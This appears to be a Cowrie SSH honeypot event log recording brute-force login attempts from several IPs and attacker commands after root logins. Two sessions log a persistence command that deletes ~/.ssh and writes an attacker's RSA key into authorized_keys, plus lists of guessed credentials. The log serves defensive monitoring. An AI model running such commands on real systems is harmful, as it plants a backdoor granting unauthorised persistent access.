{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:27:50.292713Z","src_ip":"2.57.122.210","session":"cc139ce281bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:27:50.420510Z","src_ip":"2.57.122.210","session":"cc139ce281bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eigen","password":"123456","message":"login attempt [eigen/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:27:50.774010Z","src_ip":"2.57.122.210","session":"cc139ce281bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:27:51.876571Z","src_ip":"2.57.122.210","session":"cc139ce281bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":44204,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca4f12a90e84","protocol":"ssh","message":"New connection: 60.199.224.2:44204 (159.203.135.109:22) [session: ca4f12a90e84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:27:55.225811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:27:55.229194Z","src_ip":"60.199.224.2","session":"ca4f12a90e84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:27:55.432572Z","src_ip":"60.199.224.2","session":"ca4f12a90e84","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1qaz)P(O","message":"login attempt [root/1qaz)P(O] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:27:56.283347Z","src_ip":"60.199.224.2","session":"ca4f12a90e84","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:27:56.733855Z","src_ip":"60.199.224.2","session":"ca4f12a90e84","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:27:56.736762Z","src_ip":"60.199.224.2","session":"ca4f12a90e84","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:27:56.739697Z","src_ip":"60.199.224.2","session":"ca4f12a90e84","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:27:56.946806Z","src_ip":"60.199.224.2","session":"ca4f12a90e84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"boss","password":"boss123456","message":"login attempt [boss/boss123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:27:56.980748Z","src_ip":"213.209.159.158","session":"c8a1430a8bfd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:27:57.382067Z","src_ip":"60.199.224.2","session":"ca4f12a90e84","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:27:57.385108Z","src_ip":"60.199.224.2","session":"ca4f12a90e84","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:27:57.592468Z","src_ip":"60.199.224.2","session":"ca4f12a90e84","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:27:57.596012Z","src_ip":"60.199.224.2","session":"ca4f12a90e84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":44220,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa205bf1e9fd","protocol":"ssh","message":"New connection: 60.199.224.2:44220 (159.203.135.109:22) [session: fa205bf1e9fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:27:57.799982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:27:57.804047Z","src_ip":"60.199.224.2","session":"fa205bf1e9fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:27:58.014827Z","src_ip":"60.199.224.2","session":"fa205bf1e9fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:27:58.890268Z","src_ip":"60.199.224.2","session":"fa205bf1e9fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:00.104482Z","src_ip":"60.199.224.2","session":"fa205bf1e9fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":44224,"dst_ip":"159.203.135.109","dst_port":22,"session":"49054304d801","protocol":"ssh","message":"New connection: 60.199.224.2:44224 (159.203.135.109:22) [session: 49054304d801]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:00.316471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:00.320994Z","src_ip":"60.199.224.2","session":"49054304d801","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:00.445240Z","src_ip":"213.209.159.158","session":"c8a1430a8bfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:00.532500Z","src_ip":"60.199.224.2","session":"49054304d801","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":17584,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5a627ac89aa","protocol":"ssh","message":"New connection: 213.209.159.158:17584 (159.203.135.109:22) [session: d5a627ac89aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:00.555099Z"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:01.414651Z","src_ip":"60.199.224.2","session":"49054304d801","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:01.627719Z","src_ip":"60.199.224.2","session":"ca4f12a90e84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:01.632892Z","src_ip":"60.199.224.2","session":"49054304d801","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:02.764482Z","src_ip":"213.209.159.158","session":"d5a627ac89aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:02.768234Z","src_ip":"213.209.159.158","session":"d5a627ac89aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhou","password":"zhou","message":"login attempt [zhou/zhou] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:12.820227Z","src_ip":"213.209.159.158","session":"d5a627ac89aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.85.163.94","src_port":53148,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b7007bcc0af","protocol":"ssh","message":"New connection: 34.85.163.94:53148 (159.203.135.109:22) [session: 6b7007bcc0af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:14.319223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:14.323131Z","src_ip":"34.85.163.94","session":"6b7007bcc0af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:14.333794Z","src_ip":"34.85.163.94","session":"6b7007bcc0af","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1qaz)P(O","message":"login attempt [root/1qaz)P(O] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:14.573017Z","src_ip":"34.85.163.94","session":"6b7007bcc0af","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:14.626193Z","src_ip":"34.85.163.94","session":"6b7007bcc0af","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:14.628982Z","src_ip":"34.85.163.94","session":"6b7007bcc0af","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:14.631308Z","src_ip":"34.85.163.94","session":"6b7007bcc0af","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:14.803589Z","src_ip":"34.85.163.94","session":"6b7007bcc0af","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:15.094773Z","src_ip":"34.85.163.94","session":"6b7007bcc0af","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:15.098238Z","src_ip":"34.85.163.94","session":"6b7007bcc0af","protocol":"ssh"}
